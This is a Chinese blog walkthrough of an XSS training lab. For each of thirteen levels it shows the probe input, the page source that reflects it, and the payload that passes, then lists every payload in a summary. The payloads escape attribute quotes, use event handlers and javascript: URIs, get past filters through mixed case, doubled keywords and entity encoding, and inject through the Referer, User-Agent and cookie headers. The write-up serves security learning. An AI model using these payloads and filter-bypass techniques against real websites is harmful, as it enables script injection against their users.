【XSS漏洞05】XSS通关大挑战

已于 2022-07-01 03:13:41 修改
阅读量4k 收藏 17
点赞数 4
分类专栏： # 筑基07：WEB漏洞原理 文章标签： xss web安全 前端
于 2022-02-25 12:25:30 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fighting_hawk/article/details/123116196
版权

XSS 漏洞测试 过滤规则 事件触发 编码绕过
关键词由CSDN通过智能技术生成

目录

1 实验简介

  1. 实验网站：http://test.ctf8.com/。
  2. 实验目的：
    1. 熟悉XSS漏洞测试的过程；
    2. 判断是否过滤与过滤规则；
    3. 练习XSS语句构造与绕过方法；
    4. 一边练习一边结合SQL注入进行比较；
    5. 一边练习一边思考编码与转码，后续补充这一方面的学习。

2 通关过程

2.0 通关前准备

  1. 在测试过程中，有哪些东西是我们可以利用来猜测与判断的：
    1. 网页页面的变化；
    2. 审查网页元素；
    3. 查看网页源码；
    4. 如果是白盒测试，还可以进行代码审计。
  2. 一个好用的方便我们判断网页后台对输入语句过滤规则的语句：<script " 'OOnn>，利用该语句输入后，审查源码，猜测是否过滤以及过滤规则是什么。
  3. 准备好后出发，点击网站开始挑战。
    在这里插入图片描述

2.1 关卡1

  1. 迎面而来的是一位脱发严重的大叔，他说IT很简单（神翻译）。
    在这里插入图片描述
  2. 我们在搜索栏将参数修改为检验神句?name=<script " 'OOnn>回车。发现网页一片空白，无事发生。
    在这里插入图片描述
  3. 右键页面查看一下网页源码，在第16号，发现所有符号都没过滤，也没有转义，构造的语句完完整出现在这里，我们心中毫无波澜甚至有点想笑。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script " 'OOnn></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  1. 修改参数为?name=<script>alert(/xss/)</script>，轻松带走。
    在这里插入图片描述

2.2 关卡2

  1. 理所当然地接受表扬并点击确定进入关卡2，提示让你保存冷静并嘲讽你尝试个头。
    在这里插入图片描述
  2. 老规矩先打一套测试语句，<script " 'OOnn>回车，无事发生。我们可以看到输入框中没有显示出双引号，所以此处语句应该是被双引号闭合。
    在这里插入图片描述
  3. 我们看一下源码：
    1. 在第19行，可以看到输入的参数是被双引号闭合着带入到input标签中。
    2. 对此，我们需要在开头构造一个">把签名input标签闭合掉，这样我们构造的标签就能顺利被编译，而不是简单字符串了。为了结构完整，可以在结尾构造一个"<把input剩下的尖括号闭合掉。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script " 'OOnn>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  1. 修改参数为"><script>alert(/xss/)</script><"，顺利通过轻松带走。

2.3 关卡3

  1. 老规矩先打一套测试语句，<script " 'OOnn>点搜索，无事发生。仅能看到输入框的内容里没有单引号，因此我们猜测该输入参数是被单引号闭合的。
    在这里插入图片描述
  2. 源码查看一下：
    1. 在第18行可以看到，大小于号和双引号被转义，但是单引号没有被转义且参数是用单引号闭合的。
    2. 由于大于号被转义，我们需要使用哪些不需要用到标签的语句来触发XSS漏洞比如说用事件触发的形式，同时使用单引号来闭合。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script &quot; 'OOnn&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  1. 当我们输入参数'onmouseover='alert(/xss/)并点击搜索时，没有弹出窗口，但是当我们将鼠标移动至输入框时，触发事件，就弹出窗口。
    在这里插入图片描述

2.4 关卡4

  1. 老规矩先打一套测试语句，<script " 'OOnn>点搜索，无事发生。我们看到搜索框里没有小于号，估计是被转义了，内容也是到script截止，猜测内容是由双引号闭合的。
    在这里插入图片描述
  2. 源码如下：
    1. 可以看到第18，大小于号已被过滤，引号没有被过滤或转义，参数采用的是双引号的闭合方式。
    2. 因此本题构造语句也需要使用事件触发类型的，避免使用大小于号。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="script " 'OOnn">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
  1. 修改参数为"onmouseover="alert(/xss/)，点击搜索时，没有弹出窗口，但是当我们将鼠标移动至输入框时，触发事件，就弹出窗口。
    在这里插入图片描述

2.5 关卡5

  1. 老规矩先打一套测试语句，<script " 'OOnn>，显示如下。
    在这里插入图片描述
  2. 查看一下源码：
    1. 在第18行我们发现两个关键字被转义，大小于号和引号没有被过滤与转义。同时语句采用双引号闭合方式。
    2. 对此，我们可测试其他关键字语句。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script &quot; 'oonn&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<scr_ipt " 'oo_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
  1. 构造参数为"><a href="javascript:alert(/xss/)">click me!</a><"，点击搜索，出现页面如下，点击则通关。
    在这里插入图片描述

2.6 关卡6

  1. 老规矩先打一套测试语句，<script " 'OOnn>，显示如下。
    在这里插入图片描述
  2. 查看源码：
    1. 在第18行，发现关键字被转义，大小于号没有被过滤与转义，引号没有被过滤与转义。语句采用双引号闭合方式。
    2. 在第18行中，发现与上一关差异的是，本关卡没有对大小写进行转化，但是On之间还是被插入了下划线。
    3. 与上一关同理，采用a标签试试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&lt;script &quot; 'Oonn&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="<scr_ipt " 'OO_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
  1. 构造参数为"><a href="javascript:alert(/xss/)">click me!</a><"，网页源码如下，可以看到a标签的href属性也被转义了。对此，考虑到本关卡没有对大小写转化（见上一步），测试大小写混编输入。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&quot;&gt;&lt;a href=&quot;javascript:alert(/xss/)&quot;&gt;click me!&lt;/a&gt;&lt;&quot;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value=""><a hr_ef="javascript:alert(/xss/)">click me!</a><"">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:52</h3></body>
</html>
  1. 修改参数为"><a Href="javascript:alert(/xss/)">click me!</a><"，点击搜索如下。通关。
    在这里插入图片描述

2.7 关卡7

  1. 老规矩先打一套测试语句，<script " 'OOnn>，显示如下。
    在这里插入图片描述
  2. 查看源码：
    1. 在第18行我们看到，script被过滤，同时on也被过滤了一次，其余符号没进行处理。同时，语句采用双引号闭合方式。
    2. 对此，考虑双写绕过。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&lt;script &quot; 'oonn&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword  value="< " 'on>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
  1. 构造参数如"><scrscriptipt>alert(/xss/)</scrscriptipt><"，成功通关。
    在这里插入图片描述

2.8 关卡8

  1. 老规矩先打一套测试语句，<script " 'OOnn>，显示如下。与上面实验均不同的是，此处将我们所有输入都输出在框里。
    在这里插入图片描述
  2. 查看源码：
    1. 在第18行可以看到，大小于号被转义、双引号被转义、单引号没事、关键字没事，同时，语句采用双引号闭合方式。
    2. 在第21行中，我们看到参数被传递到a标签的herf属性中，大小于号被转义回来，双引号还是被转义着、关键字被插入下划线，单引号没事。
    3. 对此，考虑注入href的伪协议。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="&lt;script &quot; 'oonn&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt &quot 'oo_nn>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:22</h3></body>
</html>

3.构造参数为 javascript:alert(/xss/)，查看源码如下：
1. 在第21行中，可以看到伪协议中的script被插入了下划线。
2. 对此，考虑对部分字符进行编码。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="javascript:alert(/xss/)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(/xss/)">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:24</h3></body>
</html>
  1. 在构造参数的script中的c转码，修改参数为javas&#x63;ript:alert(/xss/)，完成后点击友情链接触发XSS。
    在这里插入图片描述

2.9 关卡9

  1. 老规矩先打一套测试语句，<script " 'OOnn>，显示如下。
    在这里插入图片描述
  2. 查看源码：
    1. 在第18行，我们看到大小于号被转义、双引号被转义、单引号没事、关键字没事、大写变小写。同时，参数采用双引号闭合。
    2. 在第21行，与上一关类似的，参数被传递到href参数中，但是此处显示链接不合法，具体怎么不合法的没有说，在没有代码审计的情况下，只能一步步尝试什么格式才是合法的。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="&lt;script &quot; 'oonn&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法？有没有！">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
  1. 输入参数为http://xxx.xxx并提交，查看源码发现现在链接是合法的，我们估计是加了http://这个信息的缘故。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="http://xxx.xxx">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="http://xxx.xxx">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
  1. 修改参数为：javas&#x63;ript:alert('http://')，让内容中含有http://这一段字符串，成功执行。
    在这里插入图片描述

2.10 关卡10

  1. 老规矩先打一套测试语句，在搜索栏将参数改为?keyword=<script " 'OOnn>，显示如下。
    在这里插入图片描述
  2. 查看一波源码：
    1. 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
    2. 在第18、19、20行，发现另外三个输入参数，分别是t_link、t_history、t_sort，考虑将测试语句依次传入进行测试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  1. 当我们修改参数为?t_sort=<script " 'OOnn>，看到源码中出现我们输入的参数值。
    1. 在第20行，大小于号被过滤，其余没事，参数采用双引号闭合。
    2. 对此，考虑不需要大小于号的事件触发方式构造语句。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="script " 'OOnn" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
  1. 我们修改参数为?t_sort=click me!" type="button" onclick="alert(/xss/)。页面显示如下，点击就通关。
    1. ?t_sort=表示参数是传递给谁；
    2. click me!"给input赋值同时闭合双引号；
    3. 修改type属性为按钮方便事件触发；
    4. onclik则表示点击时触发事件。
      在这里插入图片描述

2.11 关卡11

  1. 老规矩先打一套测试语句，在搜索栏将参数改为?keyword=<script " 'OOnn>，显示如下。
    在这里插入图片描述
  2. 查看源码：
    1. 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
    2. 在第18、19、20、21行，发现另外四个输入参数，分别是t_link、t_history、t_sort、t_ref，考虑将测试语句依次传入进行测试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  1. 当传入参数为?t_sort=<script " 'OOnn>时，源码如下：
    1. 发现第20行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
    2. 方法一：尝试从 keyword 和 t_sort 进行突破，两者的过滤规则是一样的，需要用双引号进行闭合但是双引号被转义。尝试过对大小于号、双引号进行编码以求绕过，发现还是不行。
    3. 方法二：其他三个参数时均没有显示，可能该参数不是通过url地址栏传递的，比如说t_ref有可能是http的referer头部信息。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="&lt;script &quot; 'OOnn&gt;" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
  1. 为了测试http请求其他位置的输入，比如referer，我们需要借助BurpSuite工具（相关安装与应用查看文末参考文献）来修改请求，将请求发到repeater，在host下新增一行referer:<script " 'OOnn>，点击send。在回包中看到t_ref参数显示出我们的参数，没有任何过滤。
    在这里插入图片描述
  2. 回到proxy模块，再次获取请求，并修改参数如下：referer:click me!" type="button" onclick="alert(/xss/)，点击forward。
    在这里插入图片描述
    看到还有第二个请求，同样增加这个参数，再点击forward。
    在这里插入图片描述
    看到还有第三个请求，同样增加这个参数，再点击forward。
    在这里插入图片描述
  3. 参数顺利传回浏览器，如下，点击则通关。
    在这里插入图片描述

2.12 关卡12

  1. 老规矩先打一套测试语句，在搜索栏将参数改为?keyword=<script " 'OOnn>，显示如下。在这里插入图片描述
  2. 查看源码：
    1. 在第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
    2. 在第18、19、20、21行，发现另外四个输入参数，分别是t_link、t_history、t_sort、t_ua，看到t_ua后面的值，我们知道又是要利用头部信息了。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  1. 同样的，利用BurpSuite获取到浏览器的请求，可以按上一题的做法先将请求发送到repeater模块进行测试，测试完毕后再回到proxy模块将请求回包传递到浏览器。经测试，通过修改User-Agent参数为click me!" type="button" onclick="alert(/xss/)可以触发XSS漏洞，如下，点击forward。
    在这里插入图片描述
    看到还有第二个请求，同样修改这个参数，再点击forward。
    在这里插入图片描述
    看到还有第三个请求，同样修改这个参数，再点击forward。
    在这里插入图片描述
    看到还有第四个请求，同样修改这个参数，再点击forward。
    在这里插入图片描述
  2. 参数顺利传回浏览器，如下，点击则通关。
    在这里插入图片描述

2.13 关卡13

  1. 本关卡参考上两关卡进行，步骤简化描述了。
  2. 跳过了使用测试语句，我们直接查看源码。在第21行，可以看到这次应该是通过cookie进行验证。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="call me maybe?" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
  1. 我们看到请求中的COOKIE参数的user值与源代码中的一致，修改它为click me!" type="button" onclick="alert(/xss/)，点击forward。
    在这里插入图片描述
    第二个请求中没有cookie参数，不用管，直接forward。
    在这里插入图片描述
    第三个请求中没有cookie参数，不用管，直接forward。
    在这里插入图片描述
  2. 参数顺利传回浏览器，如下，点击则通关。
    在这里插入图片描述

2.14 通关命令汇总

//测试语句
<script " 'OOnn>
//关卡1
?name=<script " 'OOnn>
//关卡2
"><script>alert(/xss/)</script><"
//关卡3
'οnmοuseοver='alert(/xss/)
//关卡4
"οnmοuseοver="alert(/xss/)
//关卡5
"><a href="javascript:alert(/xss/)">click me!</a><"
//关卡6
"><a Href="javascript:alert(/xss/)">click me!</a><"
//关卡7
"><scrscriptipt>alert(/xss/)</scrscriptipt><"
//关卡8
javas&#x63;ript:alert(/xss/)
//关卡9
javas&#x63;ript:alert('http://')
//关卡10
?t_sort=click me!" type="button" οnclick="alert(/xss/)
//关卡11
referer:click me!" type="button" οnclick="alert(/xss/)
//关卡12
User-agent:click me!" type="button" οnclick="alert(/xss/)
//关卡13
cookie-user:click me!" type="button" οnclick="alert(/xss/)

3 总结

  1. 通过测试语句执行情况、网页源码：
    1. 判断大小于号是否过滤与转义；
    2. 判断单双引号是否过滤与转义；
    3. 判断关键字是否过滤与转义；
    4. 判断大小写是否转化；
    5. 判断语句闭合方式。
    6. 额外地，可以分析是否存在其他注入点。
  2. 根据判断结果，灵活构造语句与利用绕过规则。

参考文献

  1. 《BurpSuite简介及安装》
  2. 《BurpSuite截获请求并生成文件》
Fighting_hawk
关注
  • 4
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
xss-vuln学习通关总结
08-24
【XSS漏洞详解】 XSS（Cross-site scripting）是一种常见的网络安全漏洞，主要表现为黑客通过注入恶意脚本到网页中，从而在用户浏览网页时控制用户的浏览器。这种攻击最初因为涉及跨域而得名，但随着JavaScript的...
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
**XSS注入详解** XSS（Cross Site Scripting），即跨站脚本攻击，是一种常见的Web...在解决每个挑战的过程中，参与者不仅可以掌握如何识别和利用XSS漏洞，还能学习如何有效地预防这类攻击，从而提高Web应用的安全性。
【XSS漏洞-05】XSS-labs靶场通关大挑战
m0_64378913的博客
05-31 2805
目录1 实验简介2 XSS通关过程2.0 通关前注意2.1 关卡12.2 关卡22.3 关卡32.4 关卡42.5 关卡52.6 关卡62.7 关卡72.8 关卡82.9 关卡92.10 关卡102.11 关卡112.12 关卡122.13 关卡133 总结 1 实验简介 实验网站/靶场：http://test.ctf8.com/。 实验目的： 熟悉XSS漏洞测试的过程； 判断是否过滤与过滤规则； 练习XSS语句构造与绕过方法； 一边练习一边结合SQL注入进行比较； 一边练习一边思考编码与转码，后续补充这
XSS Challenges 靶场通关解析
Flag少侠的博客
05-06 2054
XSS Challenges（跨站脚本攻击挑战）是一种用于学习和测试跨站脚本（XSS）漏洞的实验性平台。这些挑战旨在帮助安全研究人员和开发人员了解XSS漏洞的工作原理、检测方法和防御技巧。通常，XSS Challenges平台提供一系列不同级别和类型的XSS漏洞场景，参与者需要利用这些漏洞实现特定的攻击目标。这些挑战可以包括在网页输入框中注入恶意脚本、利用DOM（文档对象模型）漏洞执行JavaScript代码等。参与者需要通过分析和利用漏洞，成功地触发XSS漏洞并实现攻击目标，从而完成挑战。
pikachu靶场XSS漏洞通关
Zqinglele的博客
04-19 2047
存储型是将攻击者在留言板等输入框中输入的恶意代码直接存入数据库中，由于数据库不识别js代码，一旦有用户打开存有恶意代码的网页界面，那么恶意代码就会被从数据库中读出，是一类危害最大的xss攻击。dom型又称self-xss，攻击者利用dom节点的结构在网页中插入一段恶意代码，这段代码被简单处理或未处理后又在网页中的一个位置显示出来，攻击过程中所有恶意代码均在前端执行。在用户点击被攻击者插入恶意代码的网页链接后，恶意代码在被攻击者的网页中被执行。尝试插入payload，发现是有长度限制，不能把这句完整插入。
pikache靶场通关——XSS漏洞
p36273的博客
06-17 3312
Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。反射性XSS;存储型XSS;DOM型XSS;XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入;输出转义：根据输出点的位置对输出到前端的内容进行适当转义;
XSS漏洞：pikachu靶场中的XSS通关
qq_68163788的博客
05-25 1105
在pikachu靶场中的XSS通关是一种漏洞攻击技术，通过在输入框中注入恶意脚本代码来实现攻击。攻击者可以利用XSS漏洞窃取用户的cookie信息、重定向用户到恶意网站或者篡改网页内容等。在pikachu靶场中，攻击者可以通过输入恶意代码实现跨站脚本攻击，从而获取敏感信息或者控制网页行为。要防范XSS漏洞，网站开发者应该对用户输入进行严格过滤和验证，避免恶意代码的注入。
XSS漏洞：prompt.mi靶场通关
qq_68163788的博客
01-17 1652
prompt.mi靶场是一个专门设计用来测试和学习跨站脚本漏洞（XSS）的在线平台。在这个靶场中，你可以通过输入恶意代码来尝试利用网站的XSS漏洞，从而获取敏感信息或执行恶意操作。通关这个靶场意味着成功利用了网站的XSS漏洞，并能够展示出如何防止这种漏洞的攻击。这个靶场对于安全研究人员和开发人员来说是一个非常有用的学习和测试工具，可以帮助他们更好地理解和防范XSS漏洞。通过这个平台，用户可以提高对XSS漏洞的认识，并学习如何更好地保护自己的网站免受此类攻击。
DVWA-XSS 通关挑战
weixin_71090536的博客
08-27 209
此文章是XSS漏洞练习，靶场是 DVWA。XSS分为反射型、存储型和DOM型，由于DOM型并不常见，故在此演示前两种类型的通关过程。
XSS漏洞详解
qq_61670993的博客
10-22 2438
小菜鸡一枚
DVWA靶场之XSS通关详解
qq_62169455的博客
06-27 1269
里面的任意字母改为大写即可）,此处也可以通过双写（即写两个嵌套的script）来绕过，即在输入框里面输入代码： alert("GXY")
XSS漏洞 深度解析 XSS_labs靶场
diaobusi的博客
12-12 484
XSS原名为Cross-site Sciprting(跨站脚本攻击)，因简写与层叠样式表(Cascading style sheets)重名，为了区分所以取名为XSS。这个漏洞主要存在于HTML页面中进行动态渲染输出的参数中，利用了脚本语言和HTML语言的特性，将恶意的JavaScript脚本注入进HTMl页面，这些脚本可以窃取用户信息、会话令牌、修改页面内容等，从而达到攻击目的。
xss-lab全通关教程
05-07
